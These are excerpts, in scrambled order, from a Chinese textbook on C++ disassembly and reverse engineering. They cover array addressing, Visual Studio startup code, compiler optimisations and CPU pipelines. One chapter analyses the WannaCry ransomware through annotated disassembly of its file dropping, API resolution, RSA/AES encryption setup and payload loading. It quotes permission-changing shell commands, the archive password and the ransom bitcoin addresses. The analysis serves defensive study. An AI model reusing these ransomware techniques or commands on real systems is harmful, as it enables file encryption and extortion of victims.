    {"text": "1使用数组首地址加二维数组下标i乘以一维数组大小得到一维数组的首地址。 2获取一维数组的首地址后加下标j乘以类型大小得到的数据如下。 二维数组type ary[M][N]使用i、j作为下标寻址 ary + i * sizeof(type [N]) + j * sizeof(type) = ary + i * N * sizeof(type) + j * sizeof(type) = ary + sizeof(type) * (i * N + j) 通过公式转换得到了一个新下标值“i*N+j”即代码清单8-12中的“eax+edx*2”将二维数组的寻址过程转换为一维数组节省了一次寻址计算提升了程序执行效率。"},
    {"text": "如三维数组“int ary[3][3][3] = {{1, 2, 3},{4, 5,6},{7,8,9}};”使用x、y、z作为三维数组的3个下标值进行寻址转换结果如下。 mov eax, [x] ; 取出下标x值存入eax中 mov ecx, [y] ; 取出下标y值存入ecx中 lea edx, [ecx+eax*2] ; 计算下标值 mov ecx, [z] ; 取出下标z值存入ecx中 lea edx, [ecx+eax*2] ; 再次执行下标值计算 add eax, edx ; 此时eax中保存的数据为(x *3 + y ) * 2 + z + (x * 3 + y ) mov eax, [ary+eax*4] ; 转换得出下标计算值为(x * 3 + y ) * 3 + z 三维数组下标值的转换过程先把三维数组拆分成3个int[3][3]的二维数组然后套用二维数组下标值计算公式得出二维数组的下标值将其乘以3后得出三维数组的下标值。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.9 本章小结 由于数组的本质是同类元素的集合各元素在内存中按顺序排列因此类型为type的数组ary第n个元素的地址可以表达为&ary[n] = ary的首地址+ sizeof(type)*n编译器在此基础上开展各类优化。读者需要理解这个公式在阅读源码的时候看到等价于这个公式的行为就可以确定是数组访问。数组元素的访问代码被编译器优化后可能会直接看到[ebp-n]这样的访问虽然在开始分析时这样的情况只能定性为局部变量但是如果后来发现这类变量在内存中连续且类型一致就可以考虑将其还原为数组。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第3章 认识启动函数找到用户入口 3.1 程序的真正入口 VS C++开发的程序在调试时总是从main或WinMain函数开始这就让开发者误认为它们是程序的第一条指令执行处这个认知其实是错误的。main或WinMain函数需要有一个调用者在它们被调用前编译器其实已经做了很多事情所以main或WinMain是“语法规定的用户入口”而不是“应用程序入口”。应用程序被操作系统加载时操作系统会分析执行文件内的数据 [1] 并分配相关资源读取执行文件中的代码和数据到合适的内存单元然后才是执行入口代码入口代码其实并不是main或WinMain函数通常是mainCRTStartup、wmainCRTStartup、WinMainCRTStartup或wWinMainCRTStartup具体视编译选项而定。其中mainCRTStartup和wmainCRTStartup是控制台环境下多字节编码和Unicode编码的启动函数而WinMainCRTStartup和wWinMainCRTStartup则是Windows环境下多字节编码和Unicode编码的启动函数。在开发过程中C++也允许程序员自己指定入口。 本章将详细讲解在进入入口函数main和WinMain之前VS C++都做了哪些事情。 [1] 关于执行文件内的数据组织请查阅PE格式相关资料推荐《加密与解密第3版》段钢著。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 3.2 了解VS2019的启动函数 VS C++在控制台和多字节编码环境下的启动函数为mainCRTStartup由系统库KERNEL32.dll负责调用在mainCRTStartup中再调用main函数。"},
    {"text": "图3-1 栈回溯窗口 图3-1中显示了程序运行时调用的8个函数依次是__RtlUserThreadStart@8、__RtlUserThreadStart、@BaseThreadInitThunk@12、mainCRTStartup、__scrt_common_main、__scrt_common_main_seh、invoke_main和main。"},
    {"text": "其中@BaseThreadInitThunk@12调用mainCRTStartup我们无法查看mainCRTStartup函数之前的高级源码而VS 2019则提供了mainCRTStartup函数的源码安装完整版的VS2019并下载符号文件就可以查看。"},
    {"text": "代码清单3-1 mainCRTStartup函数在VS2019中的代码片段 extern \"C\" int mainCRTStartup() { return __scrt_common_main(); } static __forceinline int __cdecl __scrt_common_main() { //初始化缓冲区溢出全局变量 __security_init_cookie(); return __scrt_common_main_seh(); } static __declspec(noinline) int __cdecl __scrt_common_main_seh() { //用于初始化C语法中的全局数据 if (_initterm_e(__xi_a, __xi_z) != 0) return 255; //用于初始化C++语法中的全局数据 _initterm(__xc_a, __xc_z); //初始化线程局部存储变量 _tls_callback_type const* const tls_init_callback = __scrt_get_dyn_tls_init_callback(); if (*tls_init_callback != nullptr && __scrt_is_nonwritable_in_current_image(tls_init_callback)) { (*tls_init_callback)(nullptr, DLL_THREAD_ATTACH, nullptr); } //注册线程局部存储析构函数 _tls_callback_type const * const tls_dtor_callback = __scrt_get_dyn_tls_dtor_callback(); if (*tls_dtor_callback != nullptr && __scrt_is_nonwritable_in_current_image(tls_dtor_callback)) { _register_thread_local_exe_atexit_callback(*tls_dtor_callback); } //初始化完成调用main()函数 int const main_result = invoke_main(); //main()函数返回执行析构函数或atexit注册的函数指针并结束程序 if (!__scrt_is_managed_app()) exit(main_result); } static int __cdecl invoke_main() { //调用main函数传递命令行参数信息 return main(__argc, __argv, _get_initial_narrow_environment()); } 代码清单3-1展示了在VS2019控制台程序的默认启动函数中做了一系列初始化工作。"},
    {"text": "_initterm_e函数用于全局数据和浮点寄存器的初始化该函数由两个参数组成类型为“_PIFV *”这是一个函数指针数组其中保留了每个初始化函数的地址。"},
    {"text": "代码清单3-2 _initterm_e函数的代码片段 extern \"C\" int __cdecl _initterm_e(_PIFV* const first, _PIFV* const last) { for (_PIFV* it = first; it != last; ++it) { if (*it == nullptr) continue; int const result = (**it)(); if (result != 0) return result; } return 0; } _initterm函数C++全局对象和IO流等的初始化都是通过这个函数实现的可以利用_initterm函数进行数据链初始化。"},
    {"text": "这个函数由两个参数组成类型为“_PVFV *”这也是一个函数指针数组其中保留了每个初始化函数的地址。 初始化函数的类型为_PVFV其定义原型如下所示。 typedef void (_cdecl *_PVFV)(void); 也就是说这个初始化函数是无参数也无返回值的。"},
    {"text": "代码清单3-3 _initterm函数的代码片段 extern \"C\" void __cdecl _initterm(_PVFV* const first, _PVFV* const last) { for (_PVFV* it = first; it != last; ++it) { if (*it == nullptr) continue; (**it)(); } } C++所需数据的初始化操作会在如代码清单3-3所示的_initterm函数调用时执行一般都是全局对象或静态对象初始化函数。"},
    {"text": "__scrt_get_dyn_tls_init_callback函数获取线程局部存储TLS变量的回调函数用于初始化使用__declspec(thread)定义的变量。 __scrt_get_dyn_tls_dtor_callback函数获取线程局部存储变量的析构回调函数用于注册析构回调函数。"},
    {"text": "invoke_main函数该函数获取main函数所需的3个参数信息之后当调用main函数时便可以将_argc、_argv、env这3个全局变量作为参数传递到main函数中。"},
    {"text": "VS编译器的版本不同mainCRTStartup函数也可能会有所不同GCC和Clang编译器的入口函数与所选择的库相关。 本书只针对VS2019版本进行讲解其他VS版本或编译器入口函数也需要做一些同样的初始化工作读者可自行分析。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） C++反汇编与逆向分析技术揭秘第2版 钱林松 张延清 著 ISBN978-7-111-68991-1 本书纸版由机械工业出版社于2021年出版电子版由华章分社北京华章图文信息有限公司北京奥维博世图书发行有限公司全球范围内制作与发行。 版权所有侵权必究 客服热线+ 86-10-68995265 客服信箱service@bbbvip.com 官方网址www.hzmedia.com.cn 新浪微博 @华章数媒 微信公众号 华章电子书微信号hzebook"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 17.1 tasksche.exe勒索程序逆向分析 tasksche.exe勒索程序主要负责对磁盘文件加密并勒索本节将逆向分析该勒索程序的加密勒索的流程。"},
    {"text": "17.1.1 病毒初始化 我们首先分析WinMain函数的初始化流程如代码清单17-1所示。 代码清单17-1 病毒初始化代码片段1 WinMain函数代码实现 .text:00401FE7 push ebp .text:00401FE8 mov ebp, esp .text:00401FEA sub esp, 6E4h .text:00401FF0 mov al, byte_40F910 .text:00401FF5 push ebx .text:00401FF6 push esi .text:00401FF7 push edi .text:00401FF8 mov [ebp+Filename], al .text:00401FFE mov ecx, 81h .text:00402003 xor eax, eax .text:00402005 lea edi, [ebp+var_20B] .text:0040200B rep stosd .text:0040200D stosw .text:0040200F stosb ; 初始化局部变量 .text:00402010 lea eax, [ebp+Filename] .text:00402016 push 208h ; nSize .text:0040201B xor ebx, ebx .text:0040201D push eax ; lpFilename .text:0040201E push ebx ; hModule .text:0040201F call ds:GetModuleFileNameA ; 获取当前进程路径 .text:00402025 push offset DisplayName .text:0040202A call random_string ; 调用函数产生随机字符串当作服务名称 .text:00402061 mov esi, offset FileName; \"tasksche.exe\" .text:00402066 push ebx ; bFailIfExists .text:00402067 lea eax, [ebp+Filename] .text:0040206D push esi ; lpNewFileName .text:0040206E push eax ; lpExistingFileName .text:0040206F call ds:CopyFileA ;复制自身副本命名为tasksche.exe .text:00402075 push esi ; lpFileName .text:00402076 call ds:GetFileAttributesA .text:0040207C cmp eax, 0FFFFFFFFh .text:0040207F jz short loc_40208E .text:00402081 call create_service_mutex; 创建服务和互斥体防止重复感染 text:004020BA push eax ; lpPathName .text:004020BB call ds:SetCurrentDirectoryA ; 设置当前工作目录 .text:004020C1 push 1 .text:004020C3 call write_reg ; 写入当前工作目录到注册表HKEY_LOCAL_MACHINE\\Software\\WanaCrypt0r\\wd .text:004020C8 mov [esp+6F4h+Str], offset Str ; \"WNcry@2ol7\" .text:004020CF push ebx ; hModule .text:004020D0 call release_files ; 释放文件到当前工作目录 .text:004020D5 call write_cwnry ; 写入比特币账户c.wnry .text:004020DA push ebx ; lpExitCode .text:004020DB push ebx ; dwMilliseconds .text:004020DC push offset CommandLine ; \"attrib +h .\" .text:004020E1 call exce_cmd ; 执行命令行隐藏所有文件 .text:004020E6 push ebx ; lpExitCode .text:004020E7 push ebx ; dwMilliseconds .text:004020E8 push offset aIcaclsGrantEve ; \"icacls . /grant Everyone:F /T /C /Q\" .text:004020ED call exce_cmd ; 执行命令行创建Everyone账户 .text:004020F2 add esp, 20h .text:004020F5 call get_api_address .text:004020FA test eax, eax .text:004020FC jz short loc_402165 .text:004020FE lea ecx, [ebp+var_6E4] .text:00402104 call Construct ; 调用构造函数初始化临界区 .text:00402109 push ebx ; int .text:0040210A push ebx ; int .text:0040210B push ebx ; lpFileName .text:0040210C lea ecx, [ebp+var_6E4] .text:00402112 call improtkey_and_alloc ; 导入rsa密钥并申请0x100000内存空间 .text:00402117 test eax, eax .text:00402119 jz short loc_40215A .text:0040211B lea eax, [ebp+var_4] .text:0040211E lea ecx, [ebp+var_6E4] .text:00402124 push eax ; int .text:00402125 push offset aTWnry ; \"t.wnry\" .text:0040212A mov [ebp+var_4], ebx .text:0040212D call dcrypt_twnry ; 解密t.wnry文件 .text:00402132 cmp eax, ebx .text:00402134 jz short loc_40215A .text:00402136 push [ebp+var_4] ; int .text:00402139 push eax ; Src .text:0040213A call load_dll ; 解密文件并加载到内存 .text:0040213F pop ecx .text:00402140 cmp eax, ebx ; 返回值为dll内存地址 .text:00402142 pop ecx .text:00402143 jz short loc_40215A .text:00402145 push offset Str1 ; \"TaskStart\" .text:0040214A push eax ; int .text:0040214B call get_proc_address ; 遍历导出表获取导出函数TaskStart地址 .text:00402150 pop ecx .text:00402151 cmp eax, ebx .text:00402153 pop ecx .text:00402154 jz short loc_40215A .text:00402156 push ebx .text:00402157 push ebx .text:00402158 call eax ; 调用TaskStart导出函数 .text:0040215A .text:0040215A lea ecx, [ebp+var_6E4] .text:00402160 call destruct ; 调用析构函数释放资源 如代码清单17-1所示病毒的初始化流程如下。"},
    {"text": "图17-1 释放的资源文件 代码清单17-2 病毒初始化代码片段2 release_files函数代码实现 .text:00401DAB push ebp .text:00401DAC mov ebp, esp .text:00401DAE sub esp, 12Ch .text:00401DB4 push esi .text:00401DB5 push edi .text:00401DB6 push offset Type ; \"XIA\" .text:00401DBB push 80Ah ; lpName .text:00401DC0 push [ebp+hModule] ; hModule .text:00401DC3 call ds:FindResourceA ; 查找资源 .text:00401DC9 mov esi, eax .text:00401DCB test esi, esi .text:00401DCD jz short loc_401E07 .text:00401DCF push esi ; hResInfo .text:00401DD0 push [ebp+hModule] ; hModule .text:00401DD3 call ds:LoadResource ; 加载资源 .text:00401DD9 test eax, eax .text:00401DDB jz short loc_401E07 .text:00401DDD push eax ; hResData .text:00401DDE call ds:LockResource ; 锁定资源 .text:00401DE4 mov edi, eax .text:00401DE6 test edi, edi .text:00401DE8 jz short loc_401E07 .text:00401DEA push [ebp+Str] ; Str,解压密码: \"WNcry@2ol7\" .text:00401DED push esi ; hResInfo .text:00401DEE push [ebp+hModule] ; hModule .text:00401DF1 call ds:SizeofResource ; 获取资源大小 .text:00401DF7 push eax ; int .text:00401DF8 push edi ; hFile .text:00401DF9 call check_password ; 检测解压密码 .text:00401E41 lea eax, [ebp+var_12C] ; 循环开始 .text:00401E47 push eax .text:00401E48 push edi .text:00401E49 push esi .text:00401E4A call set_file_path .text:00401E4F lea eax, [ebp+Str1] .text:00401E55 push offset Str2 ; \"c.wnry\" .text:00401E5A push eax ; Str1 .text:00401E5B call strcmp .text:00401E60 add esp, 14h .text:00401E63 test eax, eax .text:00401E65 jnz short loc_401E79 .text:00401E67 lea eax, [ebp+Str1] .text:00401E6D push eax ; lpFileName .text:00401E6E call ds:GetFileAttributesA .text:00401E74 cmp eax, 0FFFFFFFFh .text:00401E77 jnz short loc_401E8A .text:00401E79 lea eax, [ebp+Str1] .text:00401E7F push eax ; Source .text:00401E80 push edi ; hFile .text:00401E81 push esi ; int .text:00401E82 call release_file ; 释放文件 .text:00401E87 add esp, 0Ch .text:00401E8A inc edi .text:00401E8B cmp edi, ebx .text:00401E8D jl short loc_401E41 ; 循环开始 .text:00401E8F push esi ; void *循环结束 .text:00401E90 call free_memory 各资源文件的作用如下。"},
    {"text": "代码清单17-3 病毒初始化代码片段3 write_cwnry函数代码实现 .text:00401EB0 mov [ebp+Source], offset a13am4vw2dhxygx ; \"13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94\" .text:00401EB7 mov [ebp+var_8], offset a12t9ydpgwuez9n ; \"12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw\" .text:00401EBE mov [ebp+var_4], offset a115p7ummngoj1p ; \"115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn\" .text:00401ED0 call ds:rand ; 获取一个随机数 .text:00401ED6 push 3 .text:00401ED8 cdq .text:00401ED9 pop ecx .text:00401EDA idiv ecx .text:00401EDC lea eax, [ebp+Dest] .text:00401EE2 push [ebp+edx*4+Source]; Source .text:00401EE6 push eax ; Dest .text:00401EE7 call strcpy .text:00401EEC lea eax, [ebp+DstBuf] .text:00401EF2 push 0 ; int .text:00401EF4 push eax ; DstBuf .text:00401EF5 call write_file ; 随机获取一个比特币账户写入文件 代码清单17-3的功能是从“13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94”“12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw”“115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn”三个比特币账户中随机挑选一个当作勒索的比特币账户写入c.wnry文件。"},
    {"text": "代码清单17-4 病毒初始化代码片段4 get_api_address函数代码实现 .text:0040170A push ebx .text:0040170B push edi .text:0040170C call get_advapi32_address .text:00401711 test eax, eax .text:00401713 jz loc_4017D8 .text:00401719 xor ebx, ebx .text:0040171B cmp g_CreateFileW, ebx .text:00401721 jnz loc_4017D3 .text:00401727 push offset ModuleName ; \"kernel32.dll\" .text:0040172C call ds:LoadLibraryA ; 加载kernel32.dll .text:00401732 mov edi, eax .text:00401734 cmp edi, ebx .text:00401736 jz loc_4017D8 .text:0040173C push esi .text:0040173D mov esi, ds:GetProcAddress ; 动态获取文件操作相关API .text:00401743 push offset ProcName ; \"CreateFileW\" .text:00401748 push edi ; hModule .text:00401749 call esi ; GetProcAddress .text:0040174B push offset aWritefile ; \"WriteFile\" .text:00401750 push edi ; hModule .text:00401751 mov g_CreateFileW, eax .text:00401756 call esi ; GetProcAddress .text:00401758 push offset aReadfile ; \"ReadFile\" .text:0040175D push edi ; hModule .text:0040175E mov g_WriteFile, eax .text:00401763 call esi ; GetProcAddress .text:00401765 push offset aMovefilew ; \"MoveFileW\" .text:0040176A push edi ; hModule .text:0040176B mov g_ReadFile, eax .text:00401770 call esi ; GetProcAddress .text:00401772 push offset aMovefileexw ; \"MoveFileExW\" .text:00401777 push edi ; hModule .text:00401778 mov g_MoveFileW, eax .text:0040177D call esi ; GetProcAddress .text:0040177F push offset aDeletefilew ; \"DeleteFileW\" .text:00401784 push edi ; hModule .text:00401785 mov g_MoveFileExW, eax .text:0040178A call esi ; GetProcAddress .text:0040178C push offset aClosehandle ; \"CloseHandle\" .text:00401791 push edi ; hModule .text:00401792 mov g_DeleteFileW, eax .text:00401797 call esi ; GetProcAddress .text:00401799 cmp g_CreateFileW, ebx .text:0040179F mov g_CloseHandle, eax get_advapi32_address函数代码实现 .text:00401A55 push offset aAdvapi32Dll_0 ; \"advapi32.dll\" .text:00401A5A call ds:LoadLibraryA ; 加载advapi32.dll .text:00401A60 mov edi, eax .text:00401A62 cmp edi, ebx .text:00401A64 jz loc_401AF1 .text:00401A6A push esi .text:00401A6B mov esi, ds:GetProcAddress ; 动态获取加密算法相关API函数 .text:00401A71 push offset aCryptacquireco ; \"CryptAcquireContextA\" .text:00401A76 push edi ; hModule .text:00401A77 call esi ; GetProcAddress .text:00401A79 push offset aCryptimportkey ; \"CryptImportKey\" .text:00401A7E push edi ; hModule .text:00401A7F mov g_CryptAcquireContextA, eax .text:00401A84 call esi ; GetProcAddress .text:00401A86 push offset aCryptdestroyke ; \"CryptDestroyKey\" .text:00401A8B push edi ; hModule .text:00401A8C mov g_CryptImportKey, eax .text:00401A91 call esi ; GetProcAddress .text:00401A93 push offset aCryptencrypt ; \"CryptEncrypt\" .text:00401A98 push edi ; hModule .text:00401A99 mov g_CryptDestroyKey, eax .text:00401A9E call esi ; GetProcAddress .text:00401AA0 push offset aCryptdecrypt ; \"CryptDecrypt\" .text:00401AA5 push edi ; hModule .text:00401AA6 mov g_CryptEncrypt, eax .text:00401AAB call esi ; GetProcAddress .text:00401AAD push offset aCryptgenkey ; \"CryptGenKey\" .text:00401AB2 push edi ; hModule .text:00401AB3 mov g_CryptDecrypt, eax .text:00401AB8 call esi ; GetProcAddress .text:00401ABA cmp g_CryptAcquireContextA, ebx .text:00401AC0 mov g_CryptGenKey, eax 代码清单17-4的功能是动态获取加密算法相关API函数即“CryptAcquireContextA”“CryptImportKey”“CryptDestroyKey”“CryptEncrypt”“CryptDecrypt”“CryptGenKey”动态获取文件操作函数即“CreateFileW”“WriteFile”“ReadFile”“MoveFileW”“MoveFileExW”“DeleteFileW”“CloseHandle”并将API地址保存到全局数据区。"},
    {"text": "17.1.2 加载病毒核心代码 加载病毒核心代码如代码清单17-5所示。 代码清单17-5 加载病毒核心代码片段1 improtkey_and_alloc函数代码实现 .text:00401455 lea ecx, [esi+2Ch] .text:00401458 call improt_rsa_key ; 导入病毒RSA密钥 .text:0040145D mov ebx, 100000h .text:00401462 push ebx ; dwBytes .text:00401463 push edi ; uFlags .text:00401464 mov edi, ds:GlobalAlloc .text:0040146A call edi ; GlobalAlloc ; 申请内存 代码清单17-5的主要功能是导入病毒的RSA密钥用于解密核心代码。"},
    {"text": "代码清单17-7 加载病毒核心代码片段3 load_dll函数代码实现 .text:00402242 add edi, esi ; 获取NT_HEADER .text:00402244 cmp dword ptr [edi], 4550h .text:0040224A jnz short loc_402214 ; 判断是否PE文件格式DWORD Signature .text:0040224C cmp word ptr [edi+4], 14Ch .text:00402252 jnz short loc_402214 ; 判断CPU指令集是否为i386enum IMAGE_MACHINE Machine .text:00402254 mov ebx, [edi+38h] .text:00402257 test bl, 1 ; 判断DWORD SectionAlignment .text:0040225A jnz short loc_402214 .text:0040225C movzx eax, word ptr [edi+14h] ; 获取选项头大小WORD SizeOfOptionalHeader .text:00402260 movzx edx, word ptr [edi+6]; 获取节表数量 .text:00402264 test edx, edx ; 判断节表数量WORD NumberOfSections .text:00402266 lea eax, [eax+edi+18h] ; 获取节表地址 .text:0040226A jbe short loc_40228C .text:0040226C lea ecx, [eax+0Ch] .text:0040226F mov esi, [ecx+4] ; 遍历节表DWORD SizeOfRawData .text:00402272 mov eax, [ecx] ; DWORD VirtualAddress .text:00402274 test esi, esi .text:00402276 jnz short loc_40227C .text:00402278 add eax, ebx .text:0040227A jmp short loc_40227E .text:0040227C add eax, esi .text:0040227E cmp eax, [ebp+var_4] .text:00402281 jbe short loc_402286 ; 下一个节表 .text:00402283 mov [ebp+var_4], eax .text:00402286 add ecx, 28h ; 下一个节表 .text:00402289 dec edx .text:0040228A jnz short loc_40226F ; 遍历节表DWORD SizeOfRawData 代码清单17-7的主要功能是解析PE格式将解密的代码加载进堆空间。"},
    {"text": "代码清单17-8 加载病毒核心代码片段4 .text:0040201B xor ebx, ebx .text:00402145 push offset Str1 ; \"TaskStart\" .text:0040214A push eax ; int .text:0040214B call get_proc_address ; 遍历导出表获取导出函数TaskStart的地址 .text:00402150 pop ecx .text:00402151 cmp eax, ebx .text:00402153 pop ecx .text:00402154 jz short loc_40215A .text:00402156 push ebx .text:00402157 push ebx .text:00402158 call eax ; 调用TaskStart导出函数 get_proc_address函数代码实现 .text:00402924 push ebp .text:00402925 mov ebp, esp .text:00402927 push ecx .text:00402928 mov eax, [ebp+base] .text:0040292B xor edx, edx .text:0040292D push ebx .text:0040292E push esi .text:0040292F mov ecx, [eax+4] .text:00402932 mov eax, [eax] .text:00402934 add eax, 78h ; 获取数据目录 .text:00402937 push edi .text:00402938 mov [ebp+var_4], ecx .text:0040293B cmp [eax+4], edx .text:0040293E jz short loc_4029A5 .text:00402940 mov esi, [eax] ; 获取导出表 .text:00402942 mov eax, [esi+ecx+18h] ; 获取导出函数数量 .text:00402946 add esi, ecx ; 获取导出表地址 代码清单17-8的主要功能是遍历导出表获取病毒核心代码的导出函数TaskStart然后调用运行病毒的核心代码。"},
    {"text": "代码清单17-9 病毒核心代码片段1 create_key函数代码实现 .text:10003AC5 call Cryptacquireco ; 获取CSP句柄 .text:10003ACA test eax, eax .text:10003ACC jnz short loc_10003ADD .text:10003ACE mov ecx, esi .text:10003AD0 call Cryptdestroyke ; 释放句柄 .text:10003AEB push eax ; _DWORD .text:10003AEC push ebx ; _DWORD .text:10003AED push ebx ; _DWORD .text:10003AEE push 114h ; _DWORD .text:10003AF3 push offset unk_1000D054; _DWORD .text:10003AF8 push ecx ; _DWORD .text:10003AF9 call g_Cryptimportkey .text:10003AFF test eax, eax .text:10003B01 jnz loc_10003BA3 .text:10003B07 mov ecx, esi .text:10003B09 call Cryptdestroyke .text:10003B0E pop edi .text:10003B0F pop esi .text:10003B10 xor eax, eax .text:10003B12 pop ebx .text:10003B13 retn 8 .text:10003B16 push ebx ; lpFileName .text:10003B17 mov ecx, esi .text:10003B19 call check_key_file ; 检查00000000.pky公钥文件是否存在 .text:10003B1E test eax, eax .text:10003B20 jnz short loc_10003B95 .text:10003B22 lea edx, [esi+0Ch] .text:10003B25 push edx ; _DWORD .text:10003B26 push eax ; _DWORD .text:10003B27 push eax ; _DWORD .text:10003B28 mov eax, [esi+4] .text:10003B2B push 114h ; _DWORD .text:10003B30 push offset unk_1000CF40; _DWORD .text:10003B35 push eax ; _DWORD .text:10003B36 call g_Cryptimportkey ; 导入RSA公钥 .text:10003B3C test eax, eax .text:10003B3E jz short loc_10003B86 .text:10003B40 mov ecx, [esi+4] .text:10003B43 lea edi, [esi+8] .text:10003B46 push edi .text:10003B47 push ecx .text:10003B48 call Cryptgenkey ; 生成RSA密钥 .text:10003B4D add esp, 8 .text:10003B50 test eax, eax .text:10003B52 jz short loc_10003B86 .text:10003B54 mov edx, [edi] .text:10003B56 mov eax, [esi+4] .text:10003B59 push ebx ; lpFileName .text:10003B5A push 6 ; dwBlobType .text:10003B5C push edx ; hKey .text:10003B5D push eax ; int .text:10003B5E call crate_pky_file ; 保存RSA公钥到00000000.pky文件 .text:10003B63 add esp, 10h .text:10003B66 test eax, eax .text:10003B68 jz short loc_10003B86 .text:10003B6A mov eax, [esp+0Ch+arg_4] .text:10003B6E test eax, eax .text:10003B70 jz short loc_10003B7A .text:10003B72 push eax ; lpFileName .text:10003B73 mov ecx, esi .text:10003B75 call create_eky_file ; 创建00000000.eky写入加密后的RSA私钥 .text:10005C83 mov dword_1000DC70, ebx .text:10005C89 call _CryptGenRandom ; 产生随机数 create_res_file函数代码实现 .text:10004730 push ecx .text:10004731 push esi .text:10004732 push 0 ; hTemplateFile .text:10004734 push 80h ; dwFlagsAndAttributes .text:10004739 push 4 ; dwCreationDisposition .text:1000473B push 0 ; lpSecurityAttributes .text:1000473D push 1 ; dwShareMode .text:1000473F push 40000000h ; dwDesiredAccess .text:10004744 push offset g_00000000res ; lpFileName .text:10004749 call ds:CreateFileA ; 创建00000000.res文件 .text:1000475F push 0 ; lpOverlapped .text:10004761 push eax ; lpNumberOfBytesWritten .text:10004762 push 88h ; nNumberOfBytesToWrite .text:10004767 push offset pbBuffer ; lpBuffer .text:1000476C push esi ; hFile .text:1000476D mov [esp+1Ch+NumberOfBytesWritten], 0 .text:10004775 call ds:WriteFile ; 写入随机数 代码清单17-9展示的主要流程如下。"},
    {"text": "创建00000000.pky文件写入RSA公钥用于加密文件。 创建00000000.eky文件写入RSA私钥用于加密文件。 创建00000000.res文件写入8字节的随机数和当前时间用于加密文件如代码清单17-10所示。"},
    {"text": "遍历文件为每一个文件生成一个AES密钥3。 使用AES密钥3加密文件数据。 使用RSA公钥2加密AES密钥3。 将加密的AES密钥写入被加密的文件中。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 17.4 本章小结 通过本章的逆向分析读者可以根据勒索病毒的实现原理编写对应的修复、防御工具设计针对勒索软件的专杀软件。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 4.4 编译器使用的优化技巧 本节将讨论基于Pentium微处理器的优化技术。 由于代码优化技术博大精深已成为另外一门学科其知识体系和本书讨论的软件逆向分析也不一样所以本书只对此技术做一些有针对性的讲解。"},
    {"text": "编译时间优化别诧异大型软件编译一次需要好几个小时是常事。 如今计算机的存储空间都不小因此常见的都是以执行速度为主的优化这里仅以速度优化为主展开讨论。"},
    {"text": "1. 常量折叠 示例如下 x = 1 + 2 1和2都是常量结果可以预见必然是3因此没必要产生加法指令直接生成x=3即可。 2. 常量传播 接上例下一行代码为y=x+3由于上例最后生成了x=3其结果还是可以预见的所以直接生成y=6即可。 3. 减少变量 示例如下 x = i*2; y = j*2; if(x > y) // 其后再也没有引用 x、y { … } 这时对x、y的比较等价于对i、j的比较因此可以去掉x、y直接生成if(i>j)。 4. 公共表达式 示例如下 x = i * 2; y = i * 2; 这时i * 2被称为公共表达式可以归并为一个即 x = i * 2; y = x; 5. 复写传播 类似于常量传播但是目标变成了变量示例如下 x = a; …… y = x+c; 如果省略号表示的代码中没有修改变量x则可以直接用变量a代替x即 y = a + c 6. 剪去不可达分支剪支优化 示例如下 if( 1>2) //条件永远为假 { … } 由于if作用域内的代码内容永远不会执行因此整个if代码块没有存在的理由。"},
    {"text": "9. 数学变换 以下表达式都是代数恒等式 x = a + 0; x = a - 0; x = a * 1; x = a / 1; 因此不会产生运算指令直接输入x=a即可。 下面这个表达式稍复杂一点 x = a * y + b * y;//等价于x = (a+b) * y; 这样只须进行一次加法一次乘法。 10. 代码外提 这类优化一般存在于循环中如下列代码所示 while(x > y/2) { … //循环体内没有修改y值 } 以上代码不必在每次判定循环条件时都做除法可以进行如下优化 t = y / 2; while(x > t) … 在实际分析过程中很可能会组合应用以上优化方案读者应先建立优化方案的概念以后遇到各类方案的组合时用心琢磨体会即可。"},
    {"text": "3按寻址方式确定操作数 指令的操作数可以是寄存器、内存单元或者立即数包含在完整指令中如果操作数在内存单元里这一步就要计算出有效地址Effective AddressEA。"},
    {"text": "比如执行指令add eax,dword ptrds:[ebx+40DA44] 对应的机器代码是038344DA4000 注意Intel处理器是以小尾方式排列的数据的高位对应内存的高地址低位对应内存的低地址。"},
    {"text": "第4步译码得知这个指令是寄存器相对寻址方式的加法而且参与寻址的寄存器是ebx存放目标是eax其后还跟着4字节的偏移量这样指令长度也确定了。"},
    {"text": "第5步 [2] 取地址得到第3个十六进制字节0x44这是指令中包含的4字节地址偏移量信息的第1个字节先放入内部暂存器同时ebx的值保存到ALU准备计算有效地址eip加1。 第6步取指令得到第4个十六进制字节0xDA先放入内部暂存器eip加1。 第7步取指令得到第5个十六进制字节0x40先放入内部暂存器eip加1。 第8步取指令得到第6个十六进制字节0x00先放入内部暂存器eip加1。"},
    {"text": "第10步将eax的值传送到ALU调度内存管理单元MMU得到内存单元中的值将其传送到ALU并计算结果。 第11步按指令要求将计算结果存回eax中。"},
    {"text": "2. 什么是流水线 由于每条指令的工作流程都是由取指令、译码、执行、回写等步骤构成的所以处理器厂商设计了多流水线结构也就是说在A流水线处理的过程中B流水线可以提前对下一条指令做处理。"},
    {"text": "004010AA mov eax,92492493h 004010AF add esp,8 执行上述代码不具备流水线的处理器先读取004010AA处的二进制指令然后开始译码等操作这一系列工作的每一步都是需要时间的比如取指令内存管理单元开始工作其他部件闲置等待等拿到了指令才进行下一步工作。"},
